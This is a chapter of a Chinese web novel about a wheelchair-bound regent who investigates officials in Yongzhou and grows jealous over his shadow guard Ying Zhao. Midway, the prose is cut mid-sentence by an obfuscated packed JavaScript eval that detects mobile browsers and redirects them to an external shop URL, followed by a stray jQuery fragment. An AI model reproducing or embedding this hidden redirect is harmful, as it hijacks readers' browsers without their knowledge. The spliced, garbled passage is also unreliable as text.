“私盗官银,截杀朝廷命官,人赃并获,判——下狱候审……候、审,王将军,本王倒是想知道,你说的冤枉,是哪里冤枉?”
王虎成不服气似的扭开脑袋不看他,瓮声瓮气地重复道:“他没罪。”
“如何见得?”
等了半天,也没有听到任何辩驳,兰玉竹不置可否地点了点头,甚为随意地说:“本王给过你机会了……你走吧。”
“你什么意思?”他不解地回望轮椅上那个气度从容的男人。
兰玉竹没再开口,把轮椅转了半圈,以后脑勺相对,赶人之意再明显不过。
“哼!”王虎成冷哼一声,从地上站起,桀骜不驯地喊,“告辞了王爷!”
“不送。”
县衙门口,心里憋着一口气的王虎成狠狠撞上了探听民情回来的岳羽,后者瘦弱的身板自然挡不住风风火火走过来的他,一下子被冲飞了出去,像块木头一样躺倒在地上,脑子都被撞得发懵,好半天没有动静。
门口的守卫慌手慌脚把他扶起来,仇视着王虎成顺便离得远远的。
“王大将军,这里是县衙,你未免太过分了!”
本来王虎成自己撞倒了人,还有点内疚,可一听这话,顿时怒从心头起,呛声道:“你算什么东西?”
晕了一会儿,岳羽总算摇摇脑袋清醒了过来,揉了把眼睛一看,差点又晕过去,王虎成竟然在县衙门口欺负起了县衙的捕快,抡起拳头徒手就打倒了三五个。
“王将军!”岳羽焦急地往前走了几步,挡在一个负伤的捕快跟前,愁眉苦脸地劝说,“他们要是有做得不对的地方,岳某人替他们赔罪了,您就高抬贵手、大人不记小人过,算了吧。”
“大人,明明是他伤人在先!”捕快愤愤不平地捏紧了拳头。
岳羽稍微侧过头,语气严厉地说:“住口,还不快给王将军赔罪。”
“大人……”
“快点。”
“对不起,王将军。”几个捕快极度不情愿地道了歉,憋得眼睛都红了。
岳羽陪着笑脸说:“王将军,您就……”
王虎成没意思地撇撇嘴,挥手离开:“行了,别装了岳羽,本将早晚要揪出你的真面目。”
“……将军慢走。”
等他的背影淹没在弯弯绕绕的街巷中,岳羽轻叹一声,苦瓜脸上写满了无奈。“你们也怪我,是吗?”
被他救下的那个捕快别扭地回道:“不敢。”
他没有再说什么,只是叫人来把他们扶进去,而后自己萧索地进了书房,晚饭之前都没出来。
那边,送走了王虎成,兰玉竹闭眼假寐了一小会儿,又迎来了另一个人物,邕州的县令师爷,文清。
“草民文清,叩见摄政王。”
此人倒不如他的名字那样文质彬彬,长相粗野得像是江湖草莽,虎背熊腰,声音浑厚,打破了兰玉竹一直以来对于“师爷”这个词的认知。
“免礼。”
他面上分毫不显,和蔼地请他起身,不动声色观察着他的一举一动,很快,他更加疑惑了,这人分明胸无点墨,木讷愚笨,除了是就是否。
“你叫什么名字?”
“文清。”
“家住何处?何时做了邕州的县令师爷?”
“邕州。”
“……何时?”
“……”
文清茫然地望着他,像是听不懂他所说的话,那眼睛里空空洞洞,像是被人抽取了灵魂一样。
一刻钟过去,眼看这人软硬不吃跟块顽石一样问不出个所以然,兰玉竹只好放他回去。
霎时间,前厅只剩他一人,沉默地垂首叩着食指,他对邕州之事并不如何了解,上一世他也是在邕州沦陷之后才得到消息,而这之前发生了什么,他浑然不知。
“影七。”他喊了一声,跟前立马落下一个矫健的身影。
“主子。”
“信堂的人还在邕州?”
“是。”
“查查文清和岳羽。”王虎成直来直去,一眼看得到肚子里在想什么,他倒不担心和这种人打交道,反而是老实巴交、逆来顺受的岳羽,更有让他觉得深不可测、不得不防。
“是。”
影七领命退下,影昭仍藏身暗处,凝视着兰玉竹疲惫的容颜,纠结到底要不要现身安慰。
可兰玉竹完全没有搭理他的意思,自顾自转动了轮椅,在门槛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13980714|148110||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上稍微顿了一下,影昭不再旁观,走到他身后帮忙推动轮椅,而兰玉竹也没有拒绝,手中放松了对轮子的掌控,微微阖眸。
他不知道自己哪里惹了兰玉竹不快,等回了房间,眼看那人还是一副爱搭不理的样子,他越来越慌,一膝盖跪在了兰玉竹面前。“主子,属下所犯何错?”
“你不知道吗?”兰玉竹幽幽地反问。
影昭绞尽脑汁也想不出来:“……属下不知。”
只要一想到他二人勾肩搭背进来的场景,兰玉竹心里就像有块石子在扎,不痛,就是膈应,他偏开头,不愿多说。
然而影昭可怜兮兮地膝行至他腿边,像一只委屈的大猫:“属下认罚,您别生气。”
“那你说说,你错哪了?”其实兰玉竹也没那么生气了,只是仍不去看他的眼睛,表现得相当冷漠,只有他自己知道,他太容易对影昭心软,一见到他的眼睛,他就什么指责的话也说不出来了。
“……属下不知。”
他真的想不到缘由,半晌,犹犹豫豫像是撒娇一样喊了兰玉竹一声:“兄长。”他牵住面料华贵的衣摆晃了晃,眼中尽是只面对兰玉竹一人时才有的柔软。
不经意间,兰玉竹被他叫得心动,垂眸与他对视上,心脏像是骤然停摆,他恍惚间知道自己的无名火,有了来处。
总不可能,他是在吃那王虎成的醋吧?
昭儿一辈子都跟在自己身边,有多抗拒身体接触他比任何人都清楚,可他分明与那武夫相处自然,或许自己只是,害怕本属于他的东西被抢走。
自我安慰了一番,回过神来,影昭还眼巴巴地望着自己,他罕见地有点不好意思,双手扶着他的肩让他站了起来。
影昭眼睛一亮,原来主子喜欢自己这么叫他!
“主、兄长,您还生昭儿的气吗?”
“当然生气,”兰玉竹戳戳他的额头,含笑说道,“生气你个木头脑袋。”
“属下笨……”
“不许和别人靠那么近。”
影昭疑惑地眨了眨眼睛:“主子说的是谁?”
“王虎成。”
“……哦。”
“嗯?”
“属下遵命!”